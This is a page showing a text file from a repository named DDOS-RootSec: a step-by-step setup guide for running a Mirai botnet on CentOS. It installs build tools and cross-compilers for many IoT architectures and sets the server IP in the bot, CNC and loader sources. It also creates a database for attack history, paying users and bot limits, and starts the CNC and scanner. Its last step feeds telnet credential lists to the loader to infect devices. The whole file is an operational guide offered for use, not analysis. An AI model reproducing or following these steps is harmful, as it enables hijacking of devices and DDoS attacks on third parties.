Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/HOW TO USE/MIRAI-CENTOS-SETUP.txt
5037 views
1
//STEP 1
2
yum update -y
3
yum install epel-release -y
4
yum groupinstall "Development Tools" -y
5
yum install gmp-devel -y
6
ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
7
yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server gcc glibc-static go -y
8
9
//STEP 2 MYSQL INSTALL
10
wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm
11
sudo rpm -ivh mysql-community-release-el7-5.noarch.rpm
12
yum update -y
13
yum install mysql-server
14
systemctl start mysqld
15
systemctl enable mysqld
16
17
//STEP 3
18
mkdir /etc/xcompile
19
cd /etc/xcompile
20
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-i586.tar.bz2
21
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-i686.tar.bz2
22
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-m68k.tar.bz2
23
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-mips.tar.bz2
24
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-mipsel.tar.bz2
25
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-powerpc.tar.bz2
26
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-sh4.tar.bz2
27
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-sparc.tar.bz2
28
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv4l.tar.bz2
29
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv5l.tar.bz2
30
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv6l.tar.bz2
31
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv7l.tar.bz2
32
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz
33
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-powerpc-440fp.tar.bz2
34
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-x86_64.tar.bz2
35
wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-i486.tar.gz
36
37
38
tar -jxf cross-compiler-i586.tar.bz2
39
tar -jxf cross-compiler-m68k.tar.bz2
40
tar -jxf cross-compiler-mips.tar.bz2
41
tar -jxf cross-compiler-mipsel.tar.bz2
42
tar -jxf cross-compiler-powerpc.tar.bz2
43
tar -jxf cross-compiler-sh4.tar.bz2
44
tar -jxf cross-compiler-i586.tar.bz2
45
tar -jxf cross-compiler-i686.tar.bz2
46
tar -jxf cross-compiler-sparc.tar.bz2
47
tar -jxf cross-compiler-armv4l.tar.bz2
48
tar -jxf cross-compiler-armv5l.tar.bz2
49
tar -jxf cross-compiler-armv6l.tar.bz2
50
tar -jxf cross-compiler-armv7l.tar.bz2
51
tar -vxf arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz
52
tar -jxf cross-compiler-powerpc-440fp.tar.bz2
53
tar -jxf cross-compiler-x86_64.tar.bz2
54
tar -xvf cross-compiler-i486.tar.gz
55
56
rm -rf *.tar.bz2
57
mv cross-compiler-i486 i486
58
mv cross-compiler-i586 i586
59
mv cross-compiler-i686 i686
60
mv cross-compiler-m68k m68k
61
mv cross-compiler-mips mips
62
mv cross-compiler-mipsel mipsel
63
mv cross-compiler-powerpc powerpc
64
mv cross-compiler-sh4 sh4
65
mv cross-compiler-sparc sparc
66
mv cross-compiler-armv4l armv4l
67
mv cross-compiler-armv5l armv5l
68
mv cross-compiler-armv6l armv6l
69
mv cross-compiler-armv7l armv7l
70
mv arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install arc
71
mv cross-compiler-powerpc-440fp powerpc-440fp
72
mv cross-compiler-x86_64 x86_64
73
cd ~/
74
75
76
//STEP 4 - SETTING UP SERVER IP
77
CHANGE bot/includes.h
78
CHANGE cnc/main.go
79
CHANGE dlr/main.c
80
CHANGE loader/src/main.c
81
CHANGE scanListen
82
83
84
//STEP 5 - DATABASE SETUP
85
service mysqld start
86
mysql_secure_installation
87
//SETUP A MYSQL PASS HERE AND REMEMBER IT
88
//NOW LOGIN TO MYSQL
89
mysql -p<PASS>
90
//COPY AND PASTE ALL THIS IN THE MYSQL TERMINAL
91
CREATE DATABASE storm;
92
use storm;
93
CREATE TABLE history (
94
id int(10) unsigned NOT NULL AUTO_INCREMENT,
95
user_id int(10) unsigned NOT NULL,
96
time_sent int(10) unsigned NOT NULL,
97
duration int(10) unsigned NOT NULL,
98
command text NOT NULL,
99
max_bots int(11) DEFAULT '-1',
100
PRIMARY KEY (id),
101
KEY user_id (user_id)
102
);
103
104
CREATE TABLE users (
105
id int(10) unsigned NOT NULL AUTO_INCREMENT,
106
username varchar(32) NOT NULL,
107
password varchar(32) NOT NULL,
108
duration_limit int(10) unsigned DEFAULT NULL,
109
cooldown int(10) unsigned NOT NULL,
110
wrc int(10) unsigned DEFAULT NULL,
111
last_paid int(10) unsigned NOT NULL,
112
max_bots int(11) DEFAULT '-1',
113
admin int(10) unsigned DEFAULT '0',
114
intvl int(10) unsigned DEFAULT '30',
115
api_key text,
116
PRIMARY KEY (id),
117
KEY username (username)
118
);
119
120
CREATE TABLE whitelist (
121
id int(10) unsigned NOT NULL AUTO_INCREMENT,
122
prefix varchar(16) DEFAULT NULL,
123
netmask tinyint(3) unsigned DEFAULT NULL,
124
PRIMARY KEY (id),
125
KEY prefix (prefix)
126
);
127
INSERT INTO users VALUES (NULL, 'root', 'root', 0, 0, 0, 0, -1, 1, 30, '');
128
exit;
129
130
//STEP 5 - COMPILE
131
132
NOW PUT THE MYSQL PASSWORD IN THE main.go OF THE CNC.
133
134
cd ~/
135
chmod 0777 * -R
136
sh build.sh YOUR IP
137
python payload.py //if your mirai variant has it, if doesnt find in some archive what has and edit to your bins
138
139
Now your mirai is setup you just need to start the cnc and the scanListen
140
141
screen ./cnc
142
screen ./scanListen
143
144
To load your telnet lists use command
145
cat list.txt | ./loader
146
147
RootSec
148
https://github.com/R00tS3c/DDOS-RootSec/
149
150